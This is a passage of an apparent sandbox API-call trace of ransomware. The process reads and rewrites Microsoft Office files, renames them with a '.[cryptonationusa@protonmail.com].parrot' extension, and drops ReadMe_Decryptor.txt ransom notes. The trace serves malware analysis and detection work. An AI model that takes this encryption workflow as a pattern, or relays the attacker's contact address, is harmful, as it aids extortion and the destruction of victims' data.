returned 1 [0184.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0184.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0184.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0184.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0184.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0184.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0184.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x23080e8 [0184.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0184.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x230b080 [0184.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23080e8 | out: hHeap=0x5b0000) returned 1 [0184.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2294050 [0184.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230b080 | out: hHeap=0x5b0000) returned 1 [0184.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3150048 [0184.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2294050 | out: hHeap=0x5b0000) returned 1 [0184.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x22d8068 [0184.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3198458 [0184.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.227] WriteFile (in: hFile=0x288, lpBuffer=0x3198460*, nNumberOfBytesToWrite=0x150c8, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3198460*, lpNumberOfBytesWritten=0x18f1c4*=0x150c8, lpOverlapped=0x0) returned 1 [0184.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.230] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x150b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.230] CloseHandle (hObject=0x288) returned 1 [0184.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0184.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0184.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0184.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0184.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e80a8 | out: hHeap=0x5b0000) returned 1 [0184.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0184.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0184.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0184.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0184.236] GetFileType (hFile=0x288) returned 0x1 [0184.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0184.246] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.247] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.247] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0184.249] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.249] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ac, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4ac, lpOverlapped=0x0) returned 1 [0184.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0184.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.249] GetLastError () returned 0x0 [0184.249] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0184.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0184.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0184.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0184.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0184.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0184.251] WriteFile (in: hFile=0x288, lpBuffer=0x5d33c8*, nNumberOfBytesToWrite=0x5c8, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5d33c8*, lpNumberOfBytesWritten=0x18f1c4*=0x5c8, lpOverlapped=0x0) returned 1 [0184.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.254] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.254] CloseHandle (hObject=0x288) returned 1 [0184.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228e300 [0184.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0184.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228e300 | out: hHeap=0x5b0000) returned 1 [0184.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0184.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0184.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0184.258] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13844, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.258] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.258] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0184.260] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.260] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1372c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1372c, lpOverlapped=0x0) returned 1 [0184.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0184.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.261] GetLastError () returned 0x0 [0184.264] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0184.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0184.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0184.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2294050 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2296fe8 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2294050 | out: hHeap=0x5b0000) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3150048 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296fe8 | out: hHeap=0x5b0000) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3198458 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3150048 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3198458 [0184.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.267] WriteFile (in: hFile=0x288, lpBuffer=0x3198460*, nNumberOfBytesToWrite=0x13848, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3198460*, lpNumberOfBytesWritten=0x18f1c4*=0x13848, lpOverlapped=0x0) returned 1 [0184.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.270] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13844, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.270] CloseHandle (hObject=0x288) returned 1 [0184.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0184.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0184.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0184.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0184.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0184.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0184.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0184.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 